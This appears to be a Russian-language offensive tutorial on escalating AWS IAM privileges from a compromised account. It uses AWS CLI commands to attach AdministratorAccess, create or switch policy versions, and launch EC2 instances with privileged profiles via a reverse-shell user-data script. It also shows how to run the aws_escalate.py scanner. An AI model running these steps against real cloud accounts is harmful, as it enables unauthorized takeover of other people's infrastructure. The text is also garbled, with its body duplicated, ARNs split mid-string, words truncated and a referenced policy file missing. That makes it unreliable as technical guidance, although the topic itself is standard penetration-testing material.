В предыдущем уроке мы изучили облачные технологии и способы сбора данных. Пользователь, доступ к которому вам удалось получить, не всегда будет администратором, поэтому стоит изучить, как выполнять повышение привилегий в среде IAM.
Рекомендуется начать с политик: наша цель — получить неограниченный доступ к как можно большему количеству ресурсов. Политика с параметрами Действие: , Ресурс: , Эффект: Разрешить .
IAM предоставляет широкий спектр возможностей, что приводит к многообразию векторов атак. Давайте рассмотрим некоторые из них.
Чтобы проверить политики, прикрепленные к пользователю, используйте следующие команды:
kali> aws iam list-attached-user-policies –user-name <имя пользователя>
kali> aws iam list-user-policies –user-name <имя пользователя>
Для этого можно воспользоваться следующим методом.
Создайте json-файл, в моем случае это MyPolicy.json:
Хотя для установки новой версии политики в качестве версии по умолчанию обычно требуется разрешение iam:SetDefaultPolicyVersion, использование флага –set-as-default во время создания автоматически назначает ее новой версией по умолчанию без необходимости получения этого разрешения.
Процедура выглядит следующим образом: сначала нам нужно попытаться получить контроль над любой учётной записью пользователя, к которой привязана какая-либо политика. После этого мы просто создаём новую политику в AWS, обновляя существующую. В результате объект, которым вы управляете, получает неограниченные разрешения.
Это можно сделать следующим образом:
kali> aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws
olicy/AdministratorAccess
Как вы могли догадаться, пользователь получит права администратора. Добавление политики в группу работает аналогично, но требует разрешения iam:AttachGroupPolicy:
kali> aws iam attach-group-policy –group-name my_group –policy-arn arn:aws:iam::aws
olicy/AdministratorAccess
Например, вы заметили, что политика PolicyToChange имеет несколько версий:
kali> aws iam list-policy-versions –policy-arn arn:aws:iam::123456789012
olicy/PolicyToChange
Для глубокого анализа конкретной версии используйте следующую команду:
kali> aws iam get-policy-version –policy-arn arn:aws:iam::
123456789012
olicy/PolicyToChange –version-id v1
После анализа вы сможете определить политику, предоставляющую больше возможностей, и изменить её на необходимую с помощью команды:
kali> aws iam set-default-policy-version –policy-arn arn:aws:iam:: 123456789012
olicy/PolicyToChange –version-id v1
assRole и ec2:RunInstances мы можем создать новый экземпляр EC2 с доступом к ОС. Затем мы передаём ему существующий профиль/роль сервиса экземпляра EC2. Войдя в экземпляр, мы запрашиваем связанные ключи AWS из метаданных экземпляра EC2, получая доступ ко всем разрешениям профиля/роли сервиса.
Мы можем получить доступ к экземпляру, создав/импортировав ключ SSH или предоставив скрипт в данных пользователя EC2 или полезную нагрузку обратной оболочки.
После того как экземпляр запущен и доступен, запрос метаданных EC2 предоставляет временные учетные данные для связанного профиля экземпляра, предоставляя доступ к любой службе AWS, имеющейся у прикрепленной роли.
Пример команды для использования этого метода может выглядеть так:
kali> aws ec2 run-instances –image-id 12345 –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
У нас есть доступ к my_ssh_key, а группа безопасности sg-123456 разрешает доступ по SSH. Другая команда, которую можно выполнить без ключа SSH или группы безопасности, разрешающей доступ по SSH, может выглядеть так:
kali> aws ec2 run-instances –image-id 12345 –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://reverse_shell.sh
Где файл скрипта .sh содержит скрипт для открытия обратной оболочки тем или иным способом.
Для начала укажите следующие параметры:
kali> python3 aws_escalate.py –имя-пользователя Пользователь –идентификатор-ключа-доступа 12345 –секретный-ключ 12345
Вы также можете не указывать конкретного пользователя и использовать параметр -all-users для сканирования всех доступных пользователей.
Стоит отметить, что само повышение привилегий через IAM — относительно простая процедура. Главное — понимать, что всегда требуется перечислять политики. Чаще всего уязвимая конфигурация находится именно там.
Продолжение следует…
Рекомендуется начать с политик: наша цель — получить неограниченный доступ к как можно большему количеству ресурсов. Политика с параметрами Действие: , Ресурс: , Эффект: Разрешить .
IAM предоставляет широкий спектр возможностей, что приводит к многообразию векторов атак. Давайте рассмотрим некоторые из них.
Создание новой версии политики
Разрешение iam:CreatePolicyVersion позволяет нам создавать новую версию конкретной политики. Если у нас есть доступ к объекту, к которому привязана политика, мы можем повысить свои привилегии.Чтобы проверить политики, прикрепленные к пользователю, используйте следующие команды:
kali> aws iam list-attached-user-policies –user-name <имя пользователя>
kali> aws iam list-user-policies –user-name <имя пользователя>
Для этого можно воспользоваться следующим методом.
Создайте json-файл, в моем случае это MyPolicy.json:
Хотя для установки новой версии политики в качестве версии по умолчанию обычно требуется разрешение iam:SetDefaultPolicyVersion, использование флага –set-as-default во время создания автоматически назначает ее новой версией по умолчанию без необходимости получения этого разрешения.
Процедура выглядит следующим образом: сначала нам нужно попытаться получить контроль над любой учётной записью пользователя, к которой привязана какая-либо политика. После этого мы просто создаём новую политику в AWS, обновляя существующую. В результате объект, которым вы управляете, получает неограниченные разрешения.
Прикрепление политики к пользователю/группе
Если у нашего пользователя IAM есть разрешение iam:AttachUserPolicy, то мы можем повысить привилегии, прикрепив политику и получив разрешения, указанные в этой политике.Это можно сделать следующим образом:
kali> aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws
Как вы могли догадаться, пользователь получит права администратора. Добавление политики в группу работает аналогично, но требует разрешения iam:AttachGroupPolicy:
kali> aws iam attach-group-policy –group-name my_group –policy-arn arn:aws:iam::aws
Установка версии политики по умолчанию
Предположим, вы обнаружили, что в облаке, которое вы исследуете, существует несколько версий одной и той же политики. Причём первая версия предоставляет несколько более продвинутые функции, чем вторая. В этом случае, используя привилегию iam:SetDefaultPolicyVersion, мы можем изменить версию политики на нужную.Например, вы заметили, что политика PolicyToChange имеет несколько версий:
kali> aws iam list-policy-versions –policy-arn arn:aws:iam::123456789012
Для глубокого анализа конкретной версии используйте следующую команду:
kali> aws iam get-policy-version –policy-arn arn:aws:iam::
123456789012
После анализа вы сможете определить политику, предоставляющую больше возможностей, и изменить её на необходимую с помощью команды:
kali> aws iam set-default-policy-version –policy-arn arn:aws:iam:: 123456789012
Создание экземпляра EC2 с существующим профилем экземпляра
С разрешениями iamМы можем получить доступ к экземпляру, создав/импортировав ключ SSH или предоставив скрипт в данных пользователя EC2 или полезную нагрузку обратной оболочки.
После того как экземпляр запущен и доступен, запрос метаданных EC2 предоставляет временные учетные данные для связанного профиля экземпляра, предоставляя доступ к любой службе AWS, имеющейся у прикрепленной роли.
Пример команды для использования этого метода может выглядеть так:
kali> aws ec2 run-instances –image-id 12345 –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
У нас есть доступ к my_ssh_key, а группа безопасности sg-123456 разрешает доступ по SSH. Другая команда, которую можно выполнить без ключа SSH или группы безопасности, разрешающей доступ по SSH, может выглядеть так:
kali> aws ec2 run-instances –image-id 12345 –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://reverse_shell.sh
Где файл скрипта .sh содержит скрипт для открытия обратной оболочки тем или иным способом.
Автоматизированные проверки
Существуют различные инструменты для сканирования политик и поиска векторов повышения привилегий. Один из них — aws_escalate.py ( https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py ).Для начала укажите следующие параметры:
kali> python3 aws_escalate.py –имя-пользователя Пользователь –идентификатор-ключа-доступа 12345 –секретный-ключ 12345
Вы также можете не указывать конкретного пользователя и использовать параметр -all-users для сканирования всех доступных пользователей.
Стоит отметить, что само повышение привилегий через IAM — относительно простая процедура. Главное — понимать, что всегда требуется перечислять политики. Чаще всего уязвимая конфигурация находится именно там.
Краткое содержание
С помощью этих простых методов мы можем повысить ваши привилегии IAM и получить полные права администратора.Продолжение следует…